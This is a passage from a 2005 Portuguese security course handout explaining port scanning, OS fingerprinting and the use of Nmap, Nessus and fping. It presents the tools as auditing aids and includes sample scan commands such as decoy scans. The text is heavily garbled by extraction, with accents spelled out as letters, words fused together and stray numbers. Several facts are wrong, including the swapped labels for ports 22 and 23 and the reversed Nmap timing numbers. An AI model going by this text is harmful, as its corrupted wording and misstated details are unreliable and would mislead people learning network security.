(TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

